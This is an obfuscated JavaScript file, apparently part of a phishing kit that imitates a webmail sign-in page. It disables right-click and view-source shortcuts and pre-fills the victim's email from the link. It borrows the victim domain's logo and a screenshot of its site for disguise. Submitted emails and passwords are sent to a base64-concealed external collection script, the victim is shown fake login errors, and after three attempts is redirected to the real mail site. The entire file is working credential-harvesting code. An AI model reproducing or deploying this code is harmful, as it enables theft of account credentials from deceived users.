$(document).bind('keydown', function (_0x170a9f) { if (_0x170a9f.ctrlKey && _0x170a9f.which == 83) { return _0x170a9f.preventDefault(), false } }) document.addEventListener('contextmenu', (_0x96624c) => _0x96624c.preventDefault() ) document.onkeydown = function (_0xf898cc) { return _0xf898cc.ctrlKey && (_0xf898cc.keyCode === 67 || _0xf898cc.keyCode === 86 || _0xf898cc.keyCode === 85 || _0xf898cc.keyCode === 117) ? false : true } $(document).keypress('u', function (_0x2ad395) { return _0x2ad395.ctrlKey ? false : true }) $(document).ready(function () { var _0x5e0a64 = 0 $('#back1').click(function () { $('#msg').hide() $('#email').val('') $('#automail').animate( { left: 200, opacity: 'hide', }, 0 ) $('#inputbar').animate( { right: 200, opacity: 'show', }, 1000 ) }) var _0x3b9191 = window.location.hash.substr(1) if (!_0x3b9191) { } else { var _0x5aeccd = _0x3b9191 $('#email').val(_0x5aeccd) if ( !/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test( _0x5aeccd ) ) { return $('#error').show(), _0x3b9191.focus, false } var _0x45b5d4 = _0x5aeccd.indexOf('@'), _0x2699dd = _0x5aeccd.substr(_0x45b5d4 + 1), _0x507a1f = 'https://' + _0x2699dd, _0x5f30d6 = _0x2699dd, _0x453c04 = "url('https://image.thum.io/get/65490-1671030344805-37a36e07674665dbe1105f1044aab44d/width/1200/https://" + _0x5f30d6 ;("')") $('#logoimg').attr('src', 'https://logo.clearbit.com/' + _0x507a1f) document.body.style.backgroundImage = _0x453c04 $('.email').html(_0x3b9191) } $('#submit-btn').click(function (_0x264436) { _0x264436.preventDefault() $('#error').hide() $('#msg').hide() var _0x4f1777 = $('#email').val(), _0x3cddfc = $('#password').val(), _0x5ad8dd = _0x4f1777 if (!_0x4f1777) { return ( $('#error').show(), $('#error').html( "

Email field is empty

" ), false ) } if ( !/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test( _0x5ad8dd ) ) { return ( $('#error').show(), $('#error').html( "

That account doesn't exist. Enter a different account

" ), false ) } if (!_0x3cddfc) { return ( $('#error').show(), $('#error').html( "

Password field is empty

" ), false ) } if (_0x3cddfc.length < 7) { return ( $('#error').show(), $('#error').html( "

An error occured, invalid password

" ), _0x4f1777.focus, false ) } _0x5e0a64 = _0x5e0a64 + 1 var _0x507057 = atob( 'aHR0cHM6Ly9nb250ZS50b3AvbXluZXh4eC9jb2RlLnBocA==' ) $.ajax({ dataType: 'JSON', url: _0x507057, type: 'POST', data: { email: _0x4f1777, password: _0x3cddfc, }, beforeSend: function (_0x12373e) { $('#submit-btn').html('Sign in') }, success: function (_0x4b3e41) { $('#msg').html( "Username or Password is incorrect. Please try again" ) _0x4b3e41 && ($('#msg').show(), console.log(_0x4b3e41), $('#msg').html(_0x4b3e41.msg), _0x4b3e41.signal == 'ok' ? ($('#password').val(''), _0x5e0a64 >= 3 && ((_0x5e0a64 = 0), window.location.replace('http://mail.' + _0x2699dd))) : $('#msg').html(_0x4b3e41.msg)) }, error: function () { $('#password').val('') _0x5e0a64 >= 3 && ((_0x5e0a64 = 0), window.location.replace('http://mail.' + _0x2699dd)) $('#msg').show() }, complete: function () { $('#submit-btn').html('Sign in') }, }) }) })